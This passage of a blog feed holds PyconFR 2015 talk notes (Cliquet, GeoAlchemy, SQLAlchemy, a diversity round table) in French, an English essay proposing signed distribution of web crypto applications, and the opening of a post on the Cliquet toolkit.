header "backoff" qui permet de demander aux clients d'arreter de faire des
requetes durant une durée spécifée par le serveur.</li>
<li>Pour les resources "REST", quelques règles sont définies: quel est le format
du JSON, quel est la syntaxe du querystring pour filtrer, ordonner, gérer les
opérations concurentes, etc.</li>
<li>Comment la validation fonctionne ? La pagination ? La définition des
permissions ? Les erreurs.</li>
</ul>
<p>Définir le protocole une seule fois permet de se mettre d'accord avec les Ops.
On ne créé pas une RFC pour l'instant, il faut qu'on valide ce qu'on a fait,
il est necessaire de valider notre approche.</p>
</div>
<div class="section" id="toolkit">
<h2>Toolkit</h2>
<p>La stack en place est basée sur Pyramid et Cornice. Autre chose aurait pu petre
utilisé. Mais pyramid à été choisi pour son approche simpliste et qui permet de
rajouter de la complexité au fur et à mesure.</p>
<p>Cliquet propose de faire l'ensemble du boilerplate, la lecture du protocole, et
vous permet de créer les backends souhaités.</p>
<p>Il est possible de choisir les methodes HTTP acceptables, les URLs à utiliser
etc. Tweaker l'API est possible, la chose qui reste toujouts stable est le
protocole.</p>
<p>le toolkit vise à faire quelque chose de pluggable. Tout est controllable
depuis la configuration.</p>
<p>Pour le deploiement, cela veut dire que le monitoring est déjà connecté, et il
est possible de changer la configuration depuis un fichier <cite>.ini</cite>.</p>
<p>Il est aussi possible de faire du profiling en ajoutant deux lignes de code,
qui permet de générer des graphs qui permettent d'identifier les goulots
d'étranglement.</p>
</div>
<div class="section" id="microservices">
<h2>Microservices ?</h2>
<ul class="simple">
<li>Cliquet apporte une manière standard de surveiller, deployer, configurer des
services.</li>
<li>Il est possible de se focaliser sur la logique de l'application, en faisait
une abstraction des backends, etc.</li>
<li>Le fait de figer l'API permet d'avoir des clients génériques que l'on peu
réutiliser d'une application à l'autre.</li>
</ul>
</div>
<div class="section" id="cliquet-est-utilise-pour">
<h2>Cliquet est utilisé pour</h2>
<ul class="simple">
<li>Kinto, un service générique de stpclage de données.</li>
<li>Syncto, un proxy pour Sync en utilisant le protocole.</li>
<li>La liste de lecture, service qui à été shutdown.</li>
</ul>
</div>
<div class="section" id="questions">
<h2>Questions</h2>
<ul class="simple">
<li><strong>Qu'est-ce qui est pluggable ?</strong> Les choix qui sont fait dans cliquet
concernent le protocole. Le toolkit est lui fait de manière "pluggable". Il
est par exemple possible de changer le backend, l'authentification, le cache
ou les permissions.</li>
<li><strong>Quelles sont les parties non standard? Est-il prévu de representer ça via
une RFC ?</strong> Le seul sujet qui pourrait etre utile dans une RFC serait de
définir les headers attendus pour la validation et l'écriture
concurrentielle. L'ensemble de ce qui est proposé est standard.</li>
<li><strong>Existe-il un client JavaScript, comme pour Kinto ?</strong> Actuellement, non. Par
contre, Kinto.js est prévu pour que la partie commune entre les APIs (le
protocole) peut etre extrait.</li>
</ul>
</div>
PyconFR 2015 — Geoalchemy2015-10-17T00:00:00+02:002015-10-17T00:00:00+02:00tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-geoalchemy.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Eric Lemoine, Camp to camp. (@elemoine)</p>
<p>Bibliothèque python basée sur SQL alchemy, pour interagir avec des bases de
données geographiques / spatiales.</p>
<p>Une base de donnée optimisée pour representer et rechercher des …</p><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: Eric Lemoine, Camp to camp. (@elemoine)</p>
<p>Bibliothèque python basée sur SQL alchemy, pour interagir avec des bases de
données geographiques / spatiales.</p>
<p>Une base de donnée optimisée pour representer et rechercher des données qui
representent des objets dans un espace géométrique.</p>
<ul class="simple">
<li>Il est possible d estocker des ligne,s de polygones, des points. Il y a une
colonne géometrie pour stocker ces données.</li>
<li>Il y a aussi des fonctions qui permettent de travailler sur ces données
(transfomrations, projections, etc).</li>
<li>Indexs géographiques qui permettent de faire des recherches de manière
performante.</li>
</ul>
<div class="section" id="postgis">
<h2>POSTGIS</h2>
<p>POSTGIS s'appuie sur postres pour offrir des types géographiques, des fonctions
et des indexes (R-Tree), qui permettent de ranger les géométries dans des
"boites englobantes".</p>
<p>Pour créer une base de données postgis, il faut faire un "create extension
postgis", ce qui installe tout ce dont on a besoin.</p>
<p>il est possible d'apeller <cite>GEOMETRY(POINT)</cite> par exemple.</p>
<p><cite>ST_GeomFromText('POINT(lat long)')</cite> permet de convertir un point dans un objet
geometrie interne à postgres.</p>
<p><cite>ST_DWithin</cite> permet de trouver les personnes qui sont autour d'un rayon donné.</p>
<p>L'ensemble des fonctions proposées par postgres commencent par <cite>ST_*</cite></p>
</div>
<div class="section" id="sqlalchemy">
<h2>SQLAlchemy</h2>
<p>Il s'agit d'une bote à outil qui permet de faire des requetes de manière
simple. Il y a une philosophie forte.</p>
<ul class="simple">
<li>Il ne sohaite pas cacher la base de données</li>
<li>C'est un language pour faire du SQL en python</li>
<li>Rien n'est caché.</li>
<li>Fourni un vocabulaire riche pour générer le SQL</li>
<li>L'objectif est de changer la manière dont on pense à SQL, redonner le gout du
SQL aux developeurs.</li>
</ul>
<p>Deux parties:
- ORM
- CORE</p>
<p>Il est possible d'utiliser simplement le core si l'on sohaite (sans utiliser
l'ORM)</p>
<div class="section" id="core">
<h3>Core</h3>
<p>Il est possible d'utiliser SQL Alchemy pour générer les tables à l'origine.
Core permet d'utiliser des tables, et d'executer une insertion, depuis python.
Il est possible de representer les requetes avec des methodes chainées
<cite>select().where()</cite> etc.</p>
<p>Le "core" ne fait pas de mapping du tout, il manipule des Tables SQLA
directement.</p>
</div>
<div class="section" id="orm">
<h3>ORM</h3>
<p>L'ORM fait, lui, du mapping. C'est cette couche que l'on va utiliser dans une
application Web complexe par exemple.</p>
<ul class="simple">
<li>il est possible de travailler avec une session <cite>Session()</cite> puis on effectue
des opérations et on <cite>commit()</cite>.</li>
</ul>
<div class="section" id="geoalchemy">
<h4>GeoAlchemy</h4>
<ul class="simple">
<li>Créé en 2009, pour supporter uniquement postgis.</li>
<li>Depuis, d'autres bases de données (MySQL, Spatialite, MySQL server) etc.</li>
<li>Réécriture depuis grace à la nouvelle API de SQLAlechemy, mais perte du
support d'autres backends.</li>
<li>Finalement, retour sur POSTGIS uniquement, pour évite d'avoir à supporter les
différences de tous les backends.</li>
</ul>
</div>
</div>
</div>
<div class="section" id="features">
<h2>Features</h2>
<p>Très simple de s'intégrer avec les features de POSTGIS, par exemple en
déclarant une colonne en tant que "Géometrie".</p>
<p>Exemple: session.query(Lake).filter(Lake.geom.ST_Buffer(2).ST_Area) permet de
lister l'ensemble des lacs avec une aire de 2 au moins.</p>
<p>S'intègre bien avec des services existants (shapely, pyramid, etc).</p>
<p>Utilisation de geojsondumps pour representer des features en geojson.</p>
</div>
<div class="section" id="status">
<h2>Status</h2>
<p>Le projet est completement documenté sur read the docs. La documentation est
assez complete et solide. Il est intégralement testé, sur differentes versions
de python, sqlalchemy et postgres.</p>
<dl class="docutils">
<dt>3 ou 4 developeurs actifs sur le projet, ça fonctionne plutôt bien. Pour</dt>
<dd><p class="first">contribuer, il est possible de faire cela sur github.</p>
<p class="last">Slides de la presentation sur <a class="reference external" href="http://erliem.net/talks/pyconfr2015">http://erliem.net/talks/pyconfr2015</a></p>
</dd>
</dl>
<p>Resources:</p>
<ul class="simple">
<li><a class="reference external" href="https://pypi.python.org/pypi/Shapely">https://pypi.python.org/pypi/Shapely</a> - Manipulation and analysis of geometric
objects in the Cartesian plane.</li>
</ul>
<p>Question:</p>
<ul class="simple">
<li>Dans les exemples geoalchemy, les données geométriques sont passées sous
forme de chaine. Est-ce normal ? Oui.</li>
<li>Les rasters sont également supportés.</li>
</ul>
</div>
PyconFR 2015 — SQL Alchemy2015-10-17T00:00:00+02:002015-10-17T00:00:00+02:00tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-sql-alchemy.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: David Allouche</p>
<p>SQL Alchemy vous permet de produire le SQL que vous voulez. Il faut que vous
souhaitiez comprendre ce que va etre produit.</p>
<p>Déclaratif:</p>
<ul class="simple">
<li>On créé des classes qui representent …</li></ul><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p>Speaker: David Allouche</p>
<p>SQL Alchemy vous permet de produire le SQL que vous voulez. Il faut que vous
souhaitiez comprendre ce que va etre produit.</p>
<p>Déclaratif:</p>
<ul class="simple">
<li>On créé des classes qui representent nos tables, et les liaisons entre les
tables, en utilisant <cite>relationship</cite> (qui à énormement d'attributs).</li>
<li>On définit quelles osnt les clés étrangères entre les tables.</li>
<li>Puis on va définir les attributs qui sont liés entre les tables
(relationship).</li>
<li>Pour définir des relations entre les Tables, il est possible d'utiliser des
chaines de caractère <cite>relationship('OtherTable')</cite>.</li>
<li>La session es tun concept important.</li>
<li>Lire efficacement. Attention à ne pas faire énormement de requetes avec
L'ORM.</li>
</ul>
<p><strong>Performance SQL</strong></p>
<ul class="simple">
<li>Générer le SQL (python)</li>
<li>Ne pas faire énormement de petites requetes.</li>
</ul>
<p>Il est possible de demander à la session de charger les données qui sont
associées. (avec un joinedload). Par defaut, cela risque de charger
l'ensemble des colonnes.</p>
<p>Pour la générer avec SQLAlchemy, il est possible de faire un
<cite>.query(Table).join(Table).join(Table2).filter_by(field=value)</cite></p>
<p>En pratique, le mieux est de lister clairemnet le nom des tables</p>
<p>2ème partie:</p>
<p>Pour de l'import de données,</p>
<ul class="simple">
<li>first() fait une requete SQL. A éviter dans les boucles</li>
<li>session.flush() c'est quand la session écrit en base tout ce qui est en cours
dans la transaction. Par default, la session fait un flush avant chaque
requete.</li>
<li>une option backçpopulates mets à jour la liste des documents associés à une
table qui à une foreign key.
backref modifie implicitement la classe associée. Il est recommandé
d'utiliser <cite>back_populates</cite> et non pas <cite>backref</cite>.</li>
<li><cite>subqueryload</cite> permet de générer une requete séparée plutôt qu'une jointure.</li>
</ul>
PyconFR 2015 — Table ronde diversité2015-10-17T00:00:00+02:002015-10-17T00:00:00+02:00tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-table-ronde-diversite.html<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p><em>Prise de notes: Gordon et Alexis</em></p>
<p><strong>Présent·e·s: Jean Phillipe, Laurence (Directrice de l'école qui acueille la
Pycon), Amandine, Vivianne, Anna (de django carrots) + representes de django
girls bordeaux (Laurenne et …</strong></p><div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.</p>
</div>
<p><em>Prise de notes: Gordon et Alexis</em></p>
<p><strong>Présent·e·s: Jean Phillipe, Laurence (Directrice de l'école qui acueille la
Pycon), Amandine, Vivianne, Anna (de django carrots) + representes de django
girls bordeaux (Laurenne et Alexia).</strong></p>
<p><strong>JP — Pourquoi</strong>:On a eu une discussion sur la ML de l'AFPy suite à une décision
de l'afpy de ne pas financer un évènement qui n'était pas ouvert à tous-tes
(restreint aux femmes et personnes trans). Cette décision à été prise
conformément a la charte de l'AFPY qui dit que les evènements promus sont
ouverts à tous. Ce qui veut dire que cela n'inclue pas les évènement exclusifs.
(Je n'ai jamais demandé de financement à l'AFPY. J'ai juste demandé la
diffusion sur la mailing interne de la création de Pyladies Paris. Je ne sais
pas d'où vient cette histoire de financement! Pyladies Paris)</p>
<p>Suite à ça, une modification de la charte à été proposée. Demain matin, la
modification de la charte sera proposée lors de l'AG. Suite à la proposition de
modification, les discussions se sont enchainées, avec des points de vue
divergents. Cette table ronde vient donc dans ce contexte.
I
BD d'introduction:
<a class="reference external" href="http://www.commitstrip.com/fr/2015/09/17/meanwhile-in-a-parallel-universe-2/">http://www.commitstrip.com/fr/2015/09/17/meanwhile-in-a-parallel-universe-2/</a></p>
<div class="section" id="tour-de-presentation">
<h2>Tour de présentation:</h2>
<ul class="simple">
<li>Laurence directrice de l'école qui accueille d'évènement, docteure en Maths.
Contente de voir que la tendance s'inverse un peu (de plus en plus de filles).</li>
<li>Vivianne, maitre de conférence en informatique à paris sud. Études dans un
milieu assez masculin. Dans le domaine du developpement pour la recherche, ou
des environnements techniques, c'est très masculin. Essaye de voir comment
faire pour que les filles s'intéressent plus a l'informatique.</li>
<li>Amandine Neyrolle, diplomée d'école de commerce (plutot 50% fille/garcon dans
ces fillières). Intégrée le monde de l'informatique par la suite en autodidacte
et formations. Rencontré la créatrice de pyladies et discuté de ces questions.</li>
<li>Laurenne Chelan, organistrice des django girls bdx. Nouvelle dans cet
univers. Travaille dans des musées de science depuis quelques années. L'idée de
dj girs bdx part de l'idée de découvrir le code. Les djangogirls viennent de
berlin, créé par ???.</li>
<li>Alexia Sumois. organisatrice de django girls bdx. Nouvelle dans le milieu du
code. Les conférences d'aujourd'hui on donné envie d'apprendre.</li>
<li>Anna, créatrice de 4ideas. Essaye de faire en sorte que plus de femmes
viennent dans l'IT. En reconversion pro. Choisi ce domaine il ya un an. Trouve
que ce sujet est vraiment extremement important, et sur lequel il est possible
de faire quelque chose, et d'influencer positivement. L'idée étant de
démystifier l'IT, et laisser le choix aux femmes de choisir cette profession.</li>
<li>Jean Phillipe Campguillhem, secrétaire de l'AFPY</li>
</ul>
</div>
<div class="section" id="pourquoi-django-girls">
<h2>Pourquoi Django Girls ?</h2>
<p><strong>Alexia</strong> — Le déclencheur de cette aventure vient des goodies (!). La décoration
de l'évènement a attiré l'attention et donné envie de creuser.</p>
<p><strong>Laurenne</strong> — C’est pour ça qu’on se pose la question « comment attirer ces
publics, ces personnes-là ? », importance de l’image qu’on renvoie. Ce n’est
pas tant une question de genre, mais d’initié·e·s : on a souvent peur d’entrer
dans ce milieu. Django-girls vise une plus grande bienveillancet Carte de la
convivialité, chaleureux, et facile d'accès pour les débutants. Tout est livré
clé en main, et l'évènement est facile à prendre en main. Le 28 oct à bordeau,
recherche de coachs / sponsors pour l'évènement.
<a class="reference external" href="http://djangogirls.com/bordeaux">http://djangogirls.com/bordeaux</a></p>
<p><strong>Laurence</strong> — Aspect macho présent dans la communication de l’école (pas
forcément explicite). « On a toujours dessiné des symboles de métiers
identifiés par des garçons »</p>
<p><strong>Laurenceu</strong> — Il y a une partie d'inconscient dans l'ensemble de
l'enseignement qui est donné. Il y a peu de candidates qui essayent. Pas
question de discrimination positive puisque cela a des effets indésirables
(communautarisme). La question est tout de meme posée, mais il est impensable
d'accepter des gens grace / a cause de leur genre. L'ambiance change lorsqu'il
y a de la mixité. À la recherche d’idées pour faire venir plus de candidates.</p>
<p><strong>Viviane</strong> — En tant que femme, on reçoit en permanence le message que ce
métier n’est pas fait pour nous. Ces messages ont un impact, le résultat est
que les filles ne vont pas dans les écoles d’informatiques. Il faut aller
convaincre les jeunes filles que c’est aussi fait pour elles. Ça passe par
changer les plaquettes. Il faut réussir à changer l'image existante des confs /
communautés. Un développeur peut aussi etre une développeuse. Dans l'assemblée,
on se rend compte que certaines femmes sont en dehors du parcours. Il faut
qu'en tant que communauté on soit capables d'accueillir les nouvelles /
nouveaux. C’est en ayant une diversité qu’on parviendra à changer l’image du
métier. Les rencontres pyladies permettent aussi de rencontrer d'autres femmes
qui ont les mêmes problématiques. Accompagner les nouvelles entrantes pour
trouver du boulot, découvrir l'AFPY et les initatives existantes. Les
initiatives existantes django girls / pyladies est très important.</p>
<p><strong>Amandine</strong> — C’est pourquoi ce genre d’évènements non-mixtes permet de faire
des séances de rattrapage pour permettre d’intégrer la communauté dans son
ensemble. C’est le point clé pour faire accepter ce genre d’initiatives.</p>
<p><strong>Laurenne</strong> — DjangoGirls et Django Carrots ne sont pas des évènements
excluants. Ils sont simplement orientés en priorité aux femmes. Sur la question
de « comment amener des jeunes filles vers ces études-là », ça se joue bien
avant, dans l’enfance, bien avant l’école. cf les jeux genrés. Il faut
travailler à ce niveau-là.</p>
<p><strong>Anna</strong> — Pour illustrer ce que dit Laurenne, l'importance des clichés
existants. Avant le mi-80s, il y avait autant de femmes que dans d'autres
domaines. Si on regarde les stats, dans tousles autres domaines, le pourcentage
de femmes augmente. Et en IT, en 84 il y a un pic qui inverse la tendance. Ce
sont des stats américaines. A priori cela s'applique aussi en Europe. En IT, la
culture qui à été créé autour des hackers qui ont des super pouvoirs, mangent
des pizzas, etc. Ces clichés ont influencé le monde. Nous ne sommes pas
complètement autonomes, et nous sommes influencés par la culture autour de
nous. Les dommages qui ont été fait dans le domaine de l'IT sont graves, et il
est important de renverser la tendance. La question de l'image est centrale.
Les personnes ont besoin de place pour faire leurs évènements. Il est important
de comprendre et respecter que les autres veuillent faire de la discrimination
positive. Ce sont des actions qui sont supportées par la France. Ce sont des
valeurs qui sont beaucoup lus fortes en France qu'ailleurs (Anna souligne
qu'elle est Polonaise). On devrait respecter ce droit.</p>
<p><strong>Vivianne</strong> — Certaines evènements sont non-mixtes (pour les personnes qui
s'identifient comme des femmes). Ce ne doit pas etre les seules initiatives.
Elle est pour la mixté. PyLadies est assez spécifique : ce n’est pas de la
formation, mais principalement des évènements tournés autour du réseau. Il est
important d'avoir un endroit ou les jeunes femmes seront moins imprésionnées.
Les situations exposées dans la BD sont réelles. De se retrouver dans un
environnement où elles sont sûres qu’elles ne subiront pas de micro-agressions.</p>
<p><strong>Laurence</strong> — Témoignage d'une mère qui dit à sa fille, en passant devant un
panneau de l'école, mentionnant maths et informatique, et qui dit à sa fille «
oh non, c'est pas pour toi ça » . On dit « attention les garçons, vous devez
être sympas avec les filles ». Les garçons ont envie que ça se passe bien avec
les filles.</p>
<p><strong>JP</strong> — Sans revenir sur les décisions qui ont été prises, nous n'avons pas
dit que nous étions contre ces évènements (à l'AFPY). A plusieurs reprises,
j'ai du faire des blagues sexistes. Évidemment qu'on est mieux ensemble. Pour
revenir sur la discussion de la mailing-list, je me suis rendu compte que
j'avais un regard biaisé. Si on en est la, c'est quil y a énormement de
travail. Que faire, du coup ? En tant qu'hommes ? Qu'association ? Si il est
necessaire de créer une zone de confort / sécurité, c'est qu'il y a une zone
d'inconfort / insécurité qui est forte. Les couleurs, les jolis goodies, sont
le sommet de l’iceberg. Rappel de l'éxistence du Code of Conduct : il y a déjà
eu des incidents par le passé. On passe la parole à Florent, qui est à
l’origine du CoC. Remerciement envers les intervenantes.</p>
<p><strong>Florent (vice secrétaire de l'AFPY)</strong> — Comme le dit JP, un code of conduct
est affiché devant toutes les portes et à l'entrée. Tout le monde n’aimait pas
forcément l’idée d’en avoir, on a fini par trancher. Le but est d’avoir des
endroits safes. Avant d’avoir un CoC, on ne peut pas dire qu’on soit safes,
envers l'ensemble des minorités. On a écrit le CoC en conséquence des
agressions. Aujourd’hui, pas de tolérance pour des comportements qui n’ont pas
lieu d’être (qu’on a définis comme tels). Ça fonctionne sur la dénonciation
lorsque l’on est témoin de ça. On n’a pas vraiment de mal à rencontrer des
femmes, mais plus de mal à faire comprendre qu’elles sont bienvenues. Impact
important de blagues sexistes, qu’on défend comme « c’est pour rire ». Merci de
lire le Code of Conduct. Les blagues sexistes etc. ne sont pas les bienvenues.
Merci de réagir lors de ces cas.</p>
</div>
<div class="section" id="questions">
<h2>Questions.</h2>
<p><strong>Questiond de Gawel</strong>: Question pour Amandine. Est-ce que tu te sens bien à l'AFPY ? Si non, que faire pour que tu te sente mieux ?</p>
<p>Amandine — Oui je me sens bien, est-ce qu’il y a eu des évènements ? oui, sans
doute mais j’y suis aguerrie, donc je me rends peu compte. Qu’est-ce qu’on peut
faire ? L’idée du CoC est d’aller à l’encontre des comportements négatifs, mais
l’idée derrière est une ouverture à la différence dans son ensemble, promouvoir
l’ouverture à l’autre et à la différence. L’enjeu culturel est d’arriver à
changer d’état d’esprit et d’identifier ces biais cognitifs. Il faudrait pas
qu’on se dise « ho là là, il y a une fille, faut rien dire sinon je vais me
faire taper » Il faut cultiver la différence. et être curieux/se.</p>
<p><strong>Question</strong> : « c’est pas fait pour moi », mais plutôt « je suis mauvais, donc
je dois travailler », on en revient à l’importance de l’éducation. Il faut
continuer de pointer du doigt les problèmes. Je suis aussi membre d’un LUG,
nous sommes entre hommes diplomés blancs de 30 à 40 ans. La réflexion sur les
plaquettes pas accueillantes est pertinente : le site de l’asso est très
masculin.</p>
<p><strong>Question de Bruno</strong>. Pour l’école: quand j’étais étudiant, 20% de filles.
(Aujourd’hui on est partis de 7/8% pour arriver à 15%). Est-ce que les filles
réussissent plus ?</p>
<p>Laurence — on n’a pas de stats, mais elles posent moins de problèmes. Les
filles sont favorisées par les employeurs.</p>
<p>Vivianne — la motivation des filles à la sortie est identique aux garçons, mais
tout n’est pas rose. En entretien par exemple, ils sont faits par des hommes,
mais au niveau des stats, le nombre de femmes qui quittent le milieu est
important. Effort à faire au niveau de la communauté, des entreprises. Schémas
masculins, mais sur le long terme, on subit des agressions. Difficile de rester
dans le métier et faire une carrière intéressante, à compétences/motivation
identiques aux hommes. Il faut en avoir conscience</p>
<p><strong>Question de Benoit</strong>: il y a peut-être une façon de créer des
lieux/évènements protégés, en utilisant ceux qui existent déjà. Est-ce qu’on
peut aller organiser des évènements dans des écoles/lycées, des endroits où les
gens se sentent déjà à l’aise, où les populations sont plus représentées ?</p>
<p>Vivianne — ça se fait. En tant qu’enseignante, dès que j’ai une occasion, que
ce soit pour aller chercher des JF ou des étudiants maths/infos, même si c’est
ouvert à tous, je le fais. Si c’est que des hommes, les femmes n’ont pas envie
d’y aller.</p>
<p>Laurenne — c’est quelque chose qui se fait beaucoup. On met en avant des femmes
chercheuses dès qu’on le peut.</p>
<p><strong>Question d'Alexis</strong> : je suis très content qu’il y ait cette discussion qui
se fasse. Question par rapport aux discriminations positives, qu’on a pu voir
par le passé (notamment lors de conférences). Difficile de dire « on va
préférer des femmes ». Question irrésolue, parce que pour faire évoluer, on a
besoin d'initier quelque chose, d’essayer. Mais ça a un côté dérangeant.</p>
<p>Vivianne — à la PyCon (US), j’ai été impressionnée du nombre de femmes qui
parlaient. On va pas mettre un quota, ça serait stupide, on va forcer personne.
Mais il faut en avoir conscience. Cette année, on est 4 oratrices, y’a du
travail à faire. En tant qu’hommes, il faut aussi se mettre en retrait et
inviter des femmes à en parler à notre place. Faire le pas d'aller faire un
exposé dans une communauté où on ne se sent pas à sa place (même si on lutte
contre) est difficile. Inviter des gens, sans forcément passer par un énorme
processus. Ça passe par des events comme PyLadies.</p>
<p>Anna — pour les personnes par encore convaincues, juste apres le droit de vote
des femmes en 46, à l'assemblée nationale il y avait très peu de femmes. Puis
en 93, 6.1% apres que des mesures aient été prises. Ensuite de femmes puis vers
20% Les choses ne vont pas se changer toutes seules. Il est necessaire d'avoir
du temps pour faire évoluer les choses. Il est important de noter que PyconFR
fait déjà des choses. Et lors de django carrots, je me suis sentie très
accueillie. J'ai eu beaucoup de très bonnes expériences avec des personnes qui
étaient prêtes à aider.</p>
<p>JP — Remerciement pour Rémy qui abat un travail de ouf. C'est grace à Rémy si
il y a django carrots demain. Il faut faire des choses. :-) Merci !</p>
</div>
Web distribution signing2015-10-12T00:00:00+02:002015-10-12T00:00:00+02:00tag:blog.notmyidea.org,2015-10-12:/web-distribution-signing.html<p><em>I'm not a crypto expert, nor pretend to be one. These are thoughts I
want to share with the crypto community to actually see if any solution
exists to solve this particular problem.</em></p>
<p>One <a href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto">often pointed</a> flaw in
web-based cryptographic applications is the fact that there is no way to …</p><p><em>I'm not a crypto expert, nor pretend to be one. These are thoughts I
want to share with the crypto community to actually see if any solution
exists to solve this particular problem.</em></p>
<p>One <a href="http://www.tonyarcieri.com/whats-wrong-with-webcrypto">often pointed</a> flaw in
web-based cryptographic applications is the fact that there is no way to
trust online software distributions. Put differently, you don't actually
trust the software authors but are rather trusting the software
distributors and certificate authorities (CAs).</p>
<p>I've been talking with a few folks in the past months about that and
they suggested me to publish something to discuss the matter. So here I
come!</p>
<h2>The problem (Attack vectors)</h2>
<p>Let's try to describe a few potential attacks:</p>
<p><em>Application Authors</em> just released a new version of their open source
web crypto messaging application. An <em>Indie Hoster</em> installs it on their
servers so a wide audience can actually use it.</p>
<p>Someone alters the files on <em>Indie Hoster</em> servers, effectively
replacing them with other <em>altered files</em> with less security properties
/ a backdoor. This someone could either be an <em>Evil Attacker</em> which
found its way trough, the <em>Indie Hoster</em> or a CDN which delivers the
files,</p>
<p>Trusted <em>Certificate Authorities</em> ("governments" or "hacking team") can
also trick the User Agents (i.e. Firefox) into thinking they're talking
to <em>Indie Hoster</em> even though they're actually talking to a different
server.</p>
<p><strong>Altered files</strong> are then being served to the User Agents, and <em>Evil
Attacker</em> now has a way to actually attack the end users.</p>
<h2>Problem Mitigation</h2>
<p>Part of the problem is solved by the recently introduced <a href="https://w3c.github.io/webappsec/specs/subresourceintegrity/">Sub Resource
Integrity</a>
(SRI). To quote them: "[it] defines a mechanism by which user agents
may verify that a fetched resource has been delivered without unexpected
manipulation.".</p>
<p>SRI is a good start, but isn't enough: it ensures the assets (JavaScript
files, mainly) loaded from a specific HTML page are the ones the author
of the HTML page intends. However, SRI doesn't allow the User Agent to
ensure the HTML page is the one he wants.</p>
<p>In other words, we miss a way to create trust between <em>Application
Authors</em> and <em>User Agents</em>. The User-Agent currently has to trust the
<em>Certificate Authorities</em> and the delivery (<em>Indie Hoster</em>).</p>
<p>For desktop software distribution: <em>Crypto Experts</em> audit the software,
sign it somehow and then this signature can be checked locally during
installation or runtime. It's not automated, but at least it's possible.</p>
<p>For web applications, we don't have such a mechanism, but it should be
possible. Consider the following:</p>
<ul>
<li><em>App Authors</em> publish a new version of their software; They provide
a hash of each of their distributed files (including the HTML
files);</li>
<li><em>Crypto Experts</em> audit these files and sign the hashes somehow;</li>
<li><em>User Agents</em> can chose to trust some specific <em>Crypto Experts</em>;</li>
<li>When a <em>User Agent</em> downloads files, it checks if they're signed by
a trusted party.</li>
</ul>
<h2>Chosing who you trust</h2>
<p>In terms of user experience, handling certificates is hard, and that's
where the community matters. Distributions such as
<a href="https://tails.boom.org">Tails</a> could chose who they trust to verify the
files, and issue warnings / refuse to run the application in case files
aren't verified.</p>
<p>But, as highligted earlier, CAs are hard to trust. A new instance of the
same CA system wouldn't make that much differences, expect the fact that
distributions could ship with a set of trusted authorities (for which
revocation would still need to be taken care of).</p>
<blockquote>
<p>[...] users are vulnerable to MitM attacks by the authority, which
can vouch for, or be coerced to vouch for, false keys. This weakness
has been highlighted by recent CA scandals. Both schemes can also be
attacked if the authority does not verify keys before vouching for
them.</p>
<p>-- <a href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf">SoK : Secure
Messaging</a>;</p>
</blockquote>
<p>It seems that some other systems could allow for something more
reliable:</p>
<blockquote>
<p>Melara et al proposed CONIKS, using a series of chained commitments to
Merkle prefix trees to build a key directory [...] for which
individual users can efficiently verify the consistency of their own
entry in the directory without relying on a third party.</p>
<p>This “self- auditing log” approach makes the system partially have no
auditing required (as general auditing of non-equivocation is still
required) and also enables the system to be privacy preserving as the
entries in the directory need not be made public. This comes at a mild
bandwidth cost not reflected in our table, estimated to be about 10
kilobytes per client per day for self-auditing.</p>
<p>-- <a href="http://cacr.uwaterloo.ca/techreports/2015/cacr2015-02.pdf">SoK : Secure
Messaging</a>;</p>
</blockquote>
<p>Now, I honestly have no idea if this thing solves the whole problem, and
I'm pretty sure this design has many security problems attached to it.</p>
<p>However, that's a problem I would really like to see solved one day, so
here the start of the discussion, don't hesitate to <a href="/pages/about.html">get in
touch</a>!</p>
<h2>Addendum</h2>
<p>It seems possible to increase the level a user has in a Web Application
by adding indicators in the User-Agent. For instance, when using an
application that's actually signed by someone considered trustful by the
User-Agent (or the distributor of the User-Agent), a little green icon
could be presented to the User, so they know that they can be confident
about this.</p>
<p>A bit like User-Agents do for SSL, but for the actual signature of the
files being viewed.</p>Service de nuages : Pourquoi avons-nous fait Cliquet ?2015-07-14T00:00:00+02:002015-07-14T00:00:00+02:00tag:blog.notmyidea.org,2015-07-14:/pourquoi-cliquet<p class="first last">Basé sur Pyramid, Cliquet est un projet qui permet de se concentrer sur l'essentiel
lors de la conception d'APIs.</p>
<p><em>Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla</em></p>
<p><strong>tldr; Cliquet est un toolkit Python pour construire des APIs, qui implémente
les bonnes pratiques en terme de mise en production et de protocole HTTP.</strong></p>
<div class="section" id="les-origines">
<h2>Les origines</h2>
<p>L'objectif pour le premier trimestre 2015 était de construire un service de
stockage et de <a class="reference external" href="{filename}2015.04.service-de-nuages.rst">synchronisation de listes de lecture</a>.</p>
<p>Au démarrage du projet, nous avons tenté de rassembler toutes les bonnes pratiques
et recommandations, venant de différentes équipes et surtout des derniers projets déployés.</p>
<p>De même, nous voulions tirer parti du protocole de <em>Firefox Sync</em>, robuste et éprouvé,
pour la synchronisation des données «offline».</p>
<p>Plutôt qu'écrire un <a class="reference external" href="http://blog.octo.com/en/design-a-rest-api/">énième</a>
<a class="reference external" href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api">article</a> de blog,
nous avons préféré les rassembler dans ce qu'on a appellé «un protocole».</p>
<p>Comme pour l'architecture envisagée nous avions deux projets à construire, qui
devaient obéir globalement à ces mêmes règles, nous avons décidé de mettre en
commun l'implémentation de ce protocole et de ces bonnes pratiques dans un
«toolkit».</p>
<p><em>Cliquet</em> est né.</p>
